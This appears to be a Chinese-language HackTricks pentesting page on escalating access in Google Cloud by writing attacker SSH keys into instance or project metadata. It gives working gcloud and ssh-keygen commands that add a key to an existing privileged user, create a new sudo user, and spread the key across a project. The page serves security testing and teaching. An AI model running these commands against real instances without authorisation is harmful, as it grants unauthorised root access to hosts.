GCP - Add Custom SSH Metadata

GCP - 添加自定义SSH元数据

支持HackTricks

修改元数据

如果攻击者获得必要的权限,实例上的元数据修改可能会导致重大安全风险

将SSH密钥合并到自定义元数据中

在GCP上,Linux系统通常会从Google Compute Engine的Python Linux Guest Environment执行脚本。其中一个关键组件是accounts守护程序,旨在定期检查实例元数据端点以获取授权的SSH公钥更新

因此,如果攻击者可以修改自定义元数据,他可以使守护程序找到一个新的公钥,该公钥将被处理并集成到本地系统中。该密钥将被添加到现有用户的~/.ssh/authorized_keys文件中,或者根据密钥的格式,可能会创建一个具有sudo权限的新用户。攻击者将能够 compromise 主机。

将SSH密钥添加到现有特权用户

  1. 检查实例上现有的SSH密钥:

  • 执行命令描述实例及其元数据,以查找现有的SSH密钥。输出中的相关部分将位于metadata下,特别是ssh-keys键下。

gcloud compute instances describe [INSTANCE] --zone [ZONE]
  • 注意SSH密钥的格式:用户名在冒号之前,用冒号分隔。

  1. 为SSH密钥元数据准备文本文件:

  • 将用户名及其对应的SSH密钥详情保存到名为meta.txt的文本文件中。这对于保留现有密钥并添加新密钥至关重要。

  1. 为目标用户(此示例中为alice)生成新的SSH密钥:

  • 使用ssh-keygen命令生成新的SSH密钥,确保注释字段(-C)与目标用户名匹配。

ssh-keygen -t rsa -C "alice" -f ./key -P "" && cat ./key.pub
  • 将新的公钥添加到meta.txt,模仿实例元数据中的格式。

  1. 更新实例的SSH密钥元数据:

  • 使用gcloud compute instances add-metadata命令将更新后的SSH密钥元数据应用于实例。

gcloud compute instances add-metadata [INSTANCE] --metadata-from-file ssh-keys=meta.txt
  1. 使用新的SSH密钥访问实例:

  • 使用新密钥通过SSH连接到实例,以在目标用户(此示例中为alice)的上下文中访问shell。

ssh -i ./key alice@localhost
sudo id

创建一个新的特权用户并添加SSH密钥

如果找不到有趣的用户,可以创建一个新用户,并赋予该用户sudo权限:

# define the new account username
NEWUSER="definitelynotahacker"

# create a key
ssh-keygen -t rsa -C "$NEWUSER" -f ./key -P ""

# create the input meta file
NEWKEY="$(cat ./key.pub)"
echo "$NEWUSER:$NEWKEY" > ./meta.txt

# update the instance metadata
gcloud compute instances add-metadata [INSTANCE_NAME] --metadata-from-file ssh-keys=meta.txt

# ssh to the new account
ssh -i ./key "$NEWUSER"@localhost

项目级别的SSH密钥

可以通过在项目级别应用SSH密钥来扩大在云环境中对多个虚拟机(VMs)的SSH访问范围。这种方法允许对项目中任何未明确阻止项目范围SSH密钥的实例进行SSH访问。以下是简要指南:

  1. 在项目级别应用SSH密钥:

  • 使用gcloud compute project-info add-metadata命令将meta.txt中的SSH密钥添加到项目的元数据中。此操作确保SSH密钥在项目中的所有VM中被识别,除非VM启用了“阻止项目范围SSH密钥”选项。

gcloud compute project-info add-metadata --metadata-from-file ssh-keys=meta.txt
  1. 使用项目范围密钥SSH进入实例:

  • 有了项目范围的SSH密钥,您可以SSH进入项目中的任何实例。不阻止项目范围密钥的实例将接受SSH密钥,从而授予访问权限。

  • 直接SSH进入实例的方法是使用gcloud compute ssh [INSTANCE]命令。此命令使用您当前的用户名和在项目级别设置的SSH密钥来尝试访问。

参考资料

Last updated